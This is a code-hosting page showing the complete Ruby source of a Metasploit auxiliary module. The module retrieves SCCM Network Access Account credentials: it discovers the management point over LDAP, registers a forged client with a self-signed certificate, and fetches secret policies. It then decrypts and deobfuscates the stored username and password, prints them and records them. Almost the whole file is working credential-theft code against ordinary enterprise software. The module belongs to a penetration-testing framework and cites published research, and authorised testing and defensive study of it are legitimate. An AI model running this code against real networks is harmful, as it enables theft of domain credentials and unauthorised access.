Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.
Path: blob/master/modules/auxiliary/admin/sccm/get_naa_credentials.rb
Views: 18092
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4require 'time'5require 'nokogiri'6require 'rasn1'78class MetasploitModule < Msf::Auxiliary9include Msf::Auxiliary::Report10include Msf::Exploit::Remote::HttpClient11include Msf::Exploit::Remote::LDAP12include Msf::OptionalSession::LDAP1314KEY_SIZE = 204815SECRET_POLICY_FLAG = 41617def initialize(info = {})18super(19update_info(20info,21'Name' => 'Get NAA Credentials',22'Description' => %q{23This module attempts to retrieve the Network Access Account(s), if configured, from the SCCM server.24This requires a computer account, which can be added using the samr_account module.25},26'Author' => [27'xpn', # Initial research28'skelsec', # Initial obfuscation port29'smashery' # module author30],31'References' => [32['URL', 'https://blog.xpnsec.com/unobfuscating-network-access-accounts/'],33['URL', 'https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-2/cred-2_description.md'],34['URL', 'https://github.com/Mayyhem/SharpSCCM'],35['URL', 'https://github.com/garrettfoster13/sccmhunter']36],37'License' => MSF_LICENSE,38'Notes' => {39'Stability' => [],40'SideEffects' => [CONFIG_CHANGES],41'Reliability' => []42}43)44)4546register_options([47OptAddressRange.new('RHOSTS', [ false, 'The domain controller (for autodiscovery). Not required if providing a management point and site code' ]),48OptPort.new('RPORT', [ false, 'The LDAP port of the domain controller (for autodiscovery). Not required if providing a management point and site code', 389 ]),49OptString.new('COMPUTER_USER', [ true, 'The username of a computer account' ]),50OptString.new('COMPUTER_PASS', [ true, 'The password of the provided computer account' ]),51OptString.new('MANAGEMENT_POINT', [ false, 'The management point (SCCM server) to use' ]),52OptString.new('SITE_CODE', [ false, 'The site code to use on the management point' ]),53OptInt.new('TIMEOUT', [ true, 'Number of seconds to wait for SCCM DB to update', 10 ]),54])5556@session_or_rhost_required = false57end5859def find_management_point60ldap_connect do |ldap|61validate_bind_success!(ldap)6263if (@base_dn = datastore['BASE_DN'])64print_status("User-specified base DN: #{@base_dn}")65else66print_status('Discovering base DN automatically')6768if (@base_dn = ldap.base_dn)69print_status("#{ldap.peerinfo} Discovered base DN: #{@base_dn}")70else71fail_with(Failure::UnexpectedReply, "Couldn't discover base DN!")72end73end74raw_objects = ldap.search(base: @base_dn, filter: '(objectclass=mssmsmanagementpoint)', attributes: ['*'])75return nil unless raw_objects.any?7677raw_obj = raw_objects.first7879raw_objects.each do |ro|80print_good("Found Management Point: #{ro[:dnshostname].first} (Site code: #{ro[:mssmssitecode].first})")81end8283if raw_objects.length > 184print_warning("Found more than one Management Point. Using the first (#{raw_obj[:dnshostname].first})")85end8687obj = {}88obj[:rhost] = raw_obj[:dnshostname].first89obj[:sitecode] = raw_obj[:mssmssitecode].first9091obj92rescue Errno::ECONNRESET93fail_with(Failure::Disconnected, 'The connection was reset.')94rescue Rex::ConnectionError => e95fail_with(Failure::Unreachable, e.message)96rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e97fail_with(Failure::NoAccess, e.message)98rescue Net::LDAP::Error => e99fail_with(Failure::Unknown, "#{e.class}: #{e.message}")100end101end102103def run104management_point = datastore['MANAGEMENT_POINT']105site_code = datastore['SITE_CODE']106if management_point.blank? != site_code.blank?107fail_with(Failure::BadConfig, 'Provide both MANAGEMENT_POINT and SITE_CODE, or neither (to perform autodiscovery)')108end109110if management_point.blank?111begin112result = find_management_point113fail_with(Failure::NotFound, 'Failed to find management point') unless result114management_point = result[:rhost]115site_code = result[:site_code]116rescue ::IOError => e117fail_with(Failure::UnexpectedReply, e.message)118end119end120121key, cert = generate_key_and_cert('ConfigMgr Client')122123http_opts = {124'rhost' => management_point,125'rport' => 80,126'username' => datastore['COMPUTER_USER'],127'password' => datastore['COMPUTER_PASS'],128'headers' => {129'User-Agent' => 'ConfigMgr Messaging HTTP Sender',130'Accept-Encoding' => 'gzip, deflate',131'Accept' => '*/*'132}133}134135sms_id, ip_address = register_request(http_opts, management_point, key, cert)136print_status("Waiting #{datastore['TIMEOUT']} seconds for SCCM DB to update...")137138sleep(datastore['TIMEOUT'])139140secret_urls = get_secret_policies(http_opts, management_point, site_code, key, cert, sms_id)141all_results = Set.new142secret_urls.each do |url|143decrypted_policy = request_policy(http_opts, url, sms_id, key)144results = get_creds_from_policy_doc(decrypted_policy)145all_results.merge(results)146end147148if all_results.empty?149print_status('No NAA credentials configured')150end151152all_results.each do |username, password|153report_creds(ip_address, username, password)154print_good("Found valid NAA credentials: #{username}:#{password}")155end156rescue SocketError => e157fail_with(Failure::Unreachable, e.message)158end159160# Request the policy from the policy_url161def request_policy(http_opts, policy_url, sms_id, key)162policy_url.gsub!(%r{^https?://<mp>}, '')163policy_url = policy_url.gsub('{', '%7B').gsub('}', '%7D')164165now = Time.now.utc.iso8601166client_token = "GUID:#{sms_id};#{now};2"167client_signature = rsa_sign(key, (client_token + "\x00").encode('utf-16le').bytes.pack('C*'))168169opts = http_opts.merge({170'uri' => policy_url,171'method' => 'GET'172})173opts['headers'] = opts['headers'].merge({174'ClientToken' => client_token,175'ClientTokenSignature' => client_signature176})177178http_response = send_request_cgi(opts)179http_response.gzip_decode!180181ci = Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(http_response.body)182cms_envelope = ci.enveloped_data183184ri = cms_envelope[:recipient_infos]185if ri.value.empty?186fail_with(Failure::UnexpectedReply, 'No recipient infos provided')187end188189if ri[0][:ktri].nil?190fail_with(Failure::UnexpectedReply, 'KeyTransRecipientInfo not found')191end192193body = cms_envelope[:encrypted_content_info][:encrypted_content].value194195key_encryption_alg = ri[0][:ktri][:key_encryption_algorithm][:algorithm].value196encrypted_rsa_key = ri[0][:ktri][:encrypted_key].value197if key_encryption_alg == Rex::Proto::CryptoAsn1::OIDs::OID_RSA_ENCRYPTION.value198decrypted_key = key.private_decrypt(encrypted_rsa_key)199elsif key_encryption_alg == Rex::Proto::CryptoAsn1::OIDs::OID_RSAES_OAEP.value200decrypted_key = key.private_decrypt(encrypted_rsa_key, OpenSSL::PKey::RSA::PKCS1_OAEP_PADDING)201else202fail_with(Failure::UnexpectedReply, "Key encryption routine is currently unsupported: #{key_encryption_alg}")203end204205cea = cms_envelope[:encrypted_content_info][:content_encryption_algorithm]206algorithms = {207Rex::Proto::CryptoAsn1::OIDs::OID_AES256_CBC.value => { iv_length: 16, key_length: 32, cipher_name: 'aes-256-cbc' },208Rex::Proto::CryptoAsn1::OIDs::OID_DES_EDE3_CBC.value => { iv_length: 8, key_length: 24, cipher_name: 'des-ede3-cbc' }209}210if algorithms.include?(cea[:algorithm].value)211alg_hash = algorithms[cea[:algorithm].value]212if decrypted_key.length != alg_hash[:key_length]213fail_with(Failure::UnexpectedReply, "Bad key length: #{decrypted_key.length}")214end215iv = RASN1::Types::OctetString.new216iv.parse!(cea[:parameters].value)217if iv.value.length != alg_hash[:iv_length]218fail_with(Failure::UnexpectedReply, "Bad IV length: #{iv.length}")219end220cipher = OpenSSL::Cipher.new(alg_hash[:cipher_name])221cipher.decrypt222cipher.key = decrypted_key223cipher.iv = iv.value224225decrypted = cipher.update(body) + cipher.final226else227fail_with(Failure::UnexpectedReply, "Decryption routine is currently unsupported: #{cea[:algorithm].value}")228end229230decrypted.force_encoding('utf-16le').encode('utf-8').delete_suffix("\x00")231end232233# Retrieve all the policies with secret components in them234def get_secret_policies(http_opts, management_point, site_code, key, cert, sms_id)235computer_user = datastore['COMPUTER_USER'].delete_suffix('$')236fqdn = "#{computer_user}.#{datastore['DOMAIN']}"237hex_pub_key = make_ms_pubkey(cert.public_key)238guid = SecureRandom.uuid.upcase239sent_time = Time.now.utc.iso8601240sccm_host = management_point.downcase241request_assignments = "<RequestAssignments SchemaVersion=\"1.00\" ACK=\"false\" RequestType=\"Always\"><Identification><Machine><ClientID>GUID:#{sms_id}</ClientID><FQDN>#{fqdn}</FQDN><NetBIOSName>#{computer_user}</NetBIOSName><SID /></Machine><User /></Identification><PolicySource>SMS:#{site_code}</PolicySource><Resource ResourceType=\"Machine\" /><ServerCookie /></RequestAssignments>\x00"242request_assignments.encode!('utf-16le')243body_length = request_assignments.bytes.length244request_assignments = request_assignments.bytes.pack('C*') + "\r\n"245compressed = Rex::Text.zlib_deflate(request_assignments)246247payload_signature = rsa_sign(key, compressed)248249client_id = "GUID:{#{sms_id.upcase}}\x00"250client_ids_signature = rsa_sign(key, client_id.encode('utf-16le'))251header = "<Msg ReplyCompression=\"zlib\" SchemaVersion=\"1.1\"><Body Type=\"ByteRange\" Length=\"#{body_length}\" Offset=\"0\" /><CorrelationID>{00000000-0000-0000-0000-000000000000}</CorrelationID><Hooks><Hook2 Name=\"clientauth\"><Property Name=\"AuthSenderMachine\">#{computer_user}</Property><Property Name=\"PublicKey\">#{hex_pub_key}</Property><Property Name=\"ClientIDSignature\">#{client_ids_signature}</Property><Property Name=\"PayloadSignature\">#{payload_signature}</Property><Property Name=\"ClientCapabilities\">NonSSL</Property><Property Name=\"HashAlgorithm\">1.2.840.113549.1.1.11</Property></Hook2><Hook3 Name=\"zlib-compress\" /></Hooks><ID>{#{guid}}</ID><Payload Type=\"inline\" /><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:#{computer_user}:SccmMessaging</ReplyTo><SentTime>#{sent_time}</SentTime><SourceID>GUID:#{sms_id}</SourceID><SourceHost>#{computer_user}</SourceHost><TargetAddress>mp:MP_PolicyManager</TargetAddress><TargetEndpoint>MP_PolicyManager</TargetEndpoint><TargetHost>#{sccm_host}</TargetHost><Timeout>60000</Timeout></Msg>"252253message = Rex::MIME::Message.new254message.bound = 'aAbBcCdDv1234567890VxXyYzZ'255256message.add_part("\ufeff#{header}".encode('utf-16le').bytes.pack('C*'), 'text/plain; charset=UTF-16', nil)257message.add_part(compressed, 'application/octet-stream', 'binary')258opts = http_opts.merge({259'uri' => '/ccm_system/request',260'method' => 'CCM_POST',261'data' => message.to_s262})263opts['headers'] = opts['headers'].merge({264'Content-Type' => 'multipart/mixed; boundary="aAbBcCdDv1234567890VxXyYzZ"'265})266http_response = send_request_cgi(opts)267response = Rex::MIME::Message.new(http_response.to_s)268269fail_with(Failure::UnexpectedReply, 'No content received in request for policies, try increasing TIMEOUT or rerunning the module.') unless response.parts[1]&.content270compressed_response = Rex::Text.zlib_inflate(response.parts[1].content).force_encoding('utf-16le')271xml_doc = Nokogiri::XML(compressed_response.encode('utf-8'))272policies = xml_doc.xpath('//Policy')273secret_policies = policies.select do |policy|274flags = policy.attributes['PolicyFlags']275next if flags.nil?276277flags.value.to_i & SECRET_POLICY_FLAG == SECRET_POLICY_FLAG278end279280urls = secret_policies.map do |policy|281policy.xpath('PolicyLocation/text()').text282end283284urls = urls.reject(&:blank?)285286urls.each do |url|287print_status("Found policy containing secrets: #{url}")288end289290urls291end292293# Sign the data using the RSA key, and reverse it (strange, but it's what's required)294def rsa_sign(key, data)295signature = key.sign(OpenSSL::Digest.new('SHA256'), data)296signature.reverse!297298signature.unpack('H*')[0].upcase299end300301# Make a pubkey structure (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqqb/ade9efde-3ec8-4e47-9ae9-34b64d8081bb)302def make_ms_pubkey(pub_key)303result = "\x06\x02\x00\x00\x00\xA4\x00\x00\x52\x53\x41\x31"304result += [KEY_SIZE, pub_key.e].pack('II')305result += [pub_key.n.to_s(16)].pack('H*')306307result.unpack('H*')[0]308end309310# Make a request to the SCCM server to register our computer311def register_request(http_opts, management_point, key, cert)312pub_key = cert.to_der.unpack('H*')[0].upcase313314computer_user = datastore['COMPUTER_USER'].delete_suffix('$')315fqdn = "#{computer_user}.#{datastore['DOMAIN']}"316sent_time = Time.now.utc.iso8601317registration_request_data = "<Data HashAlgorithm=\"1.2.840.113549.1.1.11\" SMSID=\"\" RequestType=\"Registration\" TimeStamp=\"#{sent_time}\"><AgentInformation AgentIdentity=\"CCMSetup.exe\" AgentVersion=\"5.00.8325.0000\" AgentType=\"0\" /><Certificates><Encryption Encoding=\"HexBinary\" KeyType=\"1\">#{pub_key}</Encryption><Signing Encoding=\"HexBinary\" KeyType=\"1\">#{pub_key}</Signing></Certificates><DiscoveryProperties><Property Name=\"Netbios Name\" Value=\"#{computer_user}\" /><Property Name=\"FQ Name\" Value=\"#{fqdn}\" /><Property Name=\"Locale ID\" Value=\"1033\" /><Property Name=\"InternetFlag\" Value=\"0\" /></DiscoveryProperties></Data>"318319signature = rsa_sign(key, registration_request_data.encode('utf-16le'))320321registration_request = "<ClientRegistrationRequest>#{registration_request_data}<Signature><SignatureValue>#{signature}</SignatureValue></Signature></ClientRegistrationRequest>\x00"322323rr_utf16 = ''324rr_utf16 << registration_request.encode('utf-16le').bytes.pack('C*')325body_length = rr_utf16.length326rr_utf16 << "\r\n"327328header = "<Msg ReplyCompression=\"zlib\" SchemaVersion=\"1.1\"><Body Type=\"ByteRange\" Length=\"#{body_length}\" Offset=\"0\" /><CorrelationID>{00000000-0000-0000-0000-000000000000}</CorrelationID><Hooks><Hook3 Name=\"zlib-compress\" /></Hooks><ID>{5DD100CD-DF1D-45F5-BA17-A327F43465F8}</ID><Payload Type=\"inline\" /><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:#{computer_user}:SccmMessaging</ReplyTo><SentTime>#{sent_time}</SentTime><SourceHost>#{computer_user}</SourceHost><TargetAddress>mp:MP_ClientRegistration</TargetAddress><TargetEndpoint>MP_ClientRegistration</TargetEndpoint><TargetHost>#{management_point.downcase}</TargetHost><Timeout>60000</Timeout></Msg>"329330message = Rex::MIME::Message.new331message.bound = 'aAbBcCdDv1234567890VxXyYzZ'332333message.add_part("\ufeff#{header}".encode('utf-16le').bytes.pack('C*'), 'text/plain; charset=UTF-16', nil)334message.add_part(Rex::Text.zlib_deflate(rr_utf16), 'application/octet-stream', 'binary')335336opts = http_opts.merge({337'uri' => '/ccm_system_windowsauth/request',338'method' => 'CCM_POST',339'data' => message.to_s340})341opts['headers'] = opts['headers'].merge({342'Content-Type' => 'multipart/mixed; boundary="aAbBcCdDv1234567890VxXyYzZ"'343})344http_response = send_request_cgi(opts)345if http_response.nil?346fail_with(Failure::Unreachable, 'No response from server')347end348ip_address = http_response.peerinfo['addr']349response = Rex::MIME::Message.new(http_response.to_s)350if response.parts.empty?351html_doc = Nokogiri::HTML(http_response.to_s)352error = html_doc.xpath('//title').text353if error.blank?354error = 'Bad response from server'355dlog('Response from server:')356dlog(http_response.to_s)357end358fail_with(Failure::UnexpectedReply, error)359end360361response.parts[0].content.force_encoding('utf-16le').encode('utf-8').delete_prefix("\uFEFF")362compressed_response = Rex::Text.zlib_inflate(response.parts[1].content).force_encoding('utf-16le')363xml_doc = Nokogiri::XML(compressed_response.encode('utf-8')) # It's crazy, but XML parsing doesn't work with UTF-16-encoded strings364sms_id = xml_doc.root&.attributes&.[]('SMSID')&.value&.delete_prefix('GUID:')365if sms_id.nil?366approval = xml_doc.root&.attributes&.[]('ApprovalStatus')&.value367if approval == '-1'368fail_with(Failure::UnexpectedReply, 'Client registration not approved by SCCM server')369end370fail_with(Failure::UnexpectedReply, 'Did not retrieve SMS ID')371end372print_status("Got SMS ID: #{sms_id}")373374[sms_id, ip_address]375end376377# Extract obfuscated credentials from the resulting policy XML document378def get_creds_from_policy_doc(policy)379xml_doc = Nokogiri::XML(policy)380naa_sections = xml_doc.xpath(".//instance[@class='CCM_NetworkAccessAccount']")381results = []382naa_sections.each do |section|383username = section.xpath("property[@name='NetworkAccessUsername']/value").text384username = deobfuscate_policy_value(username)385username.delete_suffix!("\x00")386387password = section.xpath("property[@name='NetworkAccessPassword']/value").text388password = deobfuscate_policy_value(password)389password.delete_suffix!("\x00")390391unless username.blank? && password.blank?392# Deleted credentials seem to result in just an empty value for username and password393results.append([username, password])394end395end396results397end398399def deobfuscate_policy_value(value)400value = [value.gsub(/[^0-9A-Fa-f]/, '')].pack('H*')401data_length = value[52..55].unpack('I')[0]402buffer = value[64..64 + data_length - 1]403key = mscrypt_derive_key_sha1(value[4..43])404iv = "\x00" * 8405cipher = OpenSSL::Cipher.new('des-ede3-cbc')406cipher.decrypt407cipher.iv = iv408cipher.key = key409result = cipher.update(buffer) + cipher.final410411result.force_encoding('utf-16le').encode('utf-8')412end413414def mscrypt_derive_key_sha1(secret)415buf1 = [0x36] * 64416buf2 = [0x5C] * 64417418digest = OpenSSL::Digest.new('SHA1')419hash = digest.digest(secret).bytes420421hash.each_with_index do |byte, i|422buf1[i] ^= byte423buf2[i] ^= byte424end425426buf1 = buf1.pack('C*')427buf2 = buf2.pack('C*')428429digest = OpenSSL::Digest.new('SHA1')430hash1 = digest.digest(buf1)431432digest = OpenSSL::Digest.new('SHA1')433hash2 = digest.digest(buf2)434435hash1 + hash2[0..3]436end437438## Create a self-signed private key and certificate for our computer registration439def generate_key_and_cert(subject)440key = OpenSSL::PKey::RSA.new(KEY_SIZE)441cert = OpenSSL::X509::Certificate.new442cert.version = 2443cert.serial = (rand(0xFFFFFFFF) << 32) + rand(0xFFFFFFFF)444cert.public_key = key.public_key445cert.issuer = OpenSSL::X509::Name.new([['CN', subject]])446cert.subject = OpenSSL::X509::Name.new([['CN', subject]])447yr = 24 * 3600 * 365448cert.not_before = Time.at(Time.now.to_i - rand(yr * 3) - yr)449cert.not_after = Time.at(cert.not_before.to_i + (rand(4..9) * yr))450ef = OpenSSL::X509::ExtensionFactory.new451ef.subject_certificate = cert452ef.issuer_certificate = cert453cert.extensions = [454ef.create_extension('keyUsage', 'digitalSignature,dataEncipherment'),455ef.create_extension('extendedKeyUsage', '1.3.6.1.4.1.311.101.2, 1.3.6.1.4.1.311.101'),456]457cert.sign(key, OpenSSL::Digest.new('SHA256'))458459[key, cert]460end461462def report_creds(ip_address, user, password)463service_data = {464address: ip_address,465port: rport,466protocol: 'tcp',467service_name: 'sccm',468workspace_id: myworkspace_id469}470471domain, account = user.split(/\\/)472credential_data = {473origin_type: :service,474module_fullname: fullname,475username: account,476private_data: password,477private_type: :password,478realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,479realm_value: domain480}481credential_core = create_credential(credential_data.merge(service_data))482483login_data = {484core: credential_core,485status: Metasploit::Model::Login::Status::UNTRIED486}487488create_credential_login(login_data.merge(service_data))489end490end491492493